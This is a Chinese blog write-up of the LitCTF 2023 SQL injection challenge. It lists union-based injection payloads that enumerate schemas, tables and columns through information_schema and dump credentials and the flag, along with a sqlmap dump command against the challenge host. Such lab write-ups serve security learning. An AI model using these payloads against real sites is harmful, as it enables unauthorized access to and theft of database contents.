首页 > 数据库 >[LitCTF 2023]这是什么?SQL !注一下 !

[LitCTF 2023]这是什么?SQL !注一下 !

时间:2023-05-26 21:44:37浏览次数:35  
标签:username 23 2023 LitCTF SQL table password id schema

做题过程

代码中给出了username和password两列,所以我们就可以不用使用order by 语句

查询所有的库

给出的sql语句可以看出闭合方式是(((((()))))),所以语句为

?id=-1)))))) union select schema_name,2 from information_schema.schemata%23


Array ( [0] => Array ( [username] => information_schema [password] => 2 ) [1] => Array ( [username] => mysql [password] => 2 ) [2] => Array ( [username] => ctftraining [password] => 2 ) [3] => Array ( [username] => performance_schema [password] => 2 ) [4] => Array ( [username] => test [password] => 2 ) [5] => Array ( [username] => ctf [password] => 2 ) )

 

查询ctf库

?id=-1)))))) union select database(),2%23
Array ( [0] => Array ( [username] => ctf [password] => 2 ) )


?id=-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctf'%23
//users


?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctf'%23
// id,username,password


?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password),2 from users%23
//1~tanji~OHHHHHHH,2~fake_flag~F1rst_to_Th3_eggggggggg!}
//假的flag

查询ctfraing库

?id=-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining'%23
Array ( [0] => Array ( [username] => flag,news,users [password] => 2 ) )
// flag,news,users 


?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='flag' and ='ctftraining'%23
Array ( [0] => Array ( [username] => flag [password] => 2 ) )
//flag 


?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='news' and table_schema='ctftraining'%23
//id,title,content,time


?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctftraining'%23
//id,username,password,ip,time


?id=-1)))))) union select group_concat(id,0x7e,title,0x7e,content,0x7e,time),2 from news where table_schema='ctftraining'%23
//0 results


?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password,0x7e,ip),2 from users where table_schema='ctftraining'%23
//0 results


?id=-1)))))) union select flag,2 from flag where table_schema='ctftraining'%23
//0 results


怎么会是空的呢????
可能是语句的问题,我们使用Sqlmap直接跑:
sqlmap -u http://node5.anna.nssctf.cn:28051/index.php?id=1 -D "ctftraining" -T flag -C flag --dump
//NSSCTF{4cae7b33-2369-4fc6-8d2f-96703f010fd5}

经过测试,发现了table_schema只是内置库的字段,我们这里指定数据库查询应该用:库名.表名的形式
?id=-1)))))) union select flag,2 from ctftraining.flag%23
// NSSCTF{4cae7b33-2369-4fc6-8d2f-96703f010fd5}

参考了NSSCTF平台上clqwsn师傅的wp

 

标签:username,23,2023,LitCTF,SQL,table,password,id,schema
From: https://www.cnblogs.com/zgl-/p/17435895.html

相关文章

  • rhel 7.3搭建mysql的主从复制—非单机场景
    文档课题:rhel7.3搭建mysql的主从复制—非单机场景.数据库:mysql8.0.27系统:rhel7.3安装包:mysql-8.0.27-linux-glibc2.12-x86_64.tar.xz环境介绍:1、理论知识master将操作语句记录到binlog日志,然后授予slave远程连接权限(master需开启binlog,为数据安全考虑,slave也开启binlog).s......
  • 2023-05-26:golang关于垃圾回收和析构函数的选择题,多数人会选错。
    2023-05-26:golang关于垃圾回收和析构的选择题,代码如下:packagemainimport( "fmt" "runtime" "time")typeListNodestruct{ Valint Next*ListNode}funcmain0(){ a:=&ListNode{Val:1} b:=&ListNode{Val:2} runtime.SetFi......
  • mysql在执行start slave命令时报错"ERROR 1872 (HY000)"
    问题描述:mysql在执行startslave命令时报错"ERROR1872(HY000)",如下所示:数据库:mysql8.0.27系统:rhel7.31、问题重现mysql>startslave;ERROR1872(HY000):Slavefailedtoinitializerelayloginfostructurefromtherepository2、异常原因从库已经存在之前的relay......
  • sqli-labs5到10
    第五关 没有查询信息,盲注,妥妥的 ?id=1'报错?id=1'---不报错:闭合方式为'接下来就是一个字母一个字母试了首先判断库名的长度:?id=1'andlength(database())=8---正确输出,长度为8接下来爆出库名为security 爆出库名爆表名:?id=1'and substr((selectgroup_concat(t......
  • 2023冲刺国赛模拟 5.1
    最近感觉自己越来越摆了,看到各位大佬洛谷的月通过量都100以上感到十分震惊,不像我这个废物月通过量只有30。T1无限之环考虑互为子串的两个字符串,容易发现两个串的\(B\)部分字母所组成的集合一定完全相同,考虑两个串的\(A\)部分,如果\(A\)部分的末尾字符属于\(B\)部分......
  • 2023.5.26每日总结
    packageservlets;importjava.io.IOException;importjava.util.ArrayList;importjavax.servlet.ServletException;importjavax.servlet.annotation.WebServlet;importjavax.servlet.http.HttpServlet;importjavax.servlet.http.HttpServletRequest;importjava......
  • 一个小插件,将控制台的sql打印出来
     将下面的源码保存成一个.html文件,然后用浏览器打开,最后将它保存到浏览器标签里,就能方便下次打开啦: 源码如下:<!DOCTYPEhtml><htmllang="ch-zn"><head><metahttp-equiv="Content-Type"content="text/html;charset=UTF-8"><title>Myb......
  • rhel 7.3安装mysql 8.0.27
    文档课题:rhel7.3安装mysql8.0.27.系统:rhel7.364位数据库:mysql8.0.27安装包:mysql-8.0.27-linux-glibc2.12-x86_64.tar.xz1、安装前检查1.1、系统版本[root@leo-mysql-master~]#cat/etc/*releaseNAME="RedHatEnterpriseLinuxServer"VERSION="7.3(Maipo)"ID=......
  • 阿里云服务器Linux MySQL root 密码忘记了如何操作?
    阿里云服务器Linux MySQL root密码忘记了如何操作?假如我们使用的MySQL数据库忘记的账号密码,是能够土工调节配置文件,然后跳过密码方式登录到数据库的。然后在数据库里面修改账号和密码,通常在默认情况下账号为root具体操作步骤如下:1】编辑MySQL配置文件my.cnf【注】在具体的操作......
  • 以云原生推动代际跃升,2023通明湖论坛云原生分论坛召开
    5月12日,由神州数码主办,北京经开区国家信创园、中关村云计算产业联盟协办的2023通明湖论坛-云原生分论坛在京召开。本次论坛,以“抓住云原生机遇,推动我国信息基础设施技术代际跃升”为主题,聚焦以云原生为核心引领的科技革命和产业革命,共同探讨云原生为我国信息基础设施技术发展提供的......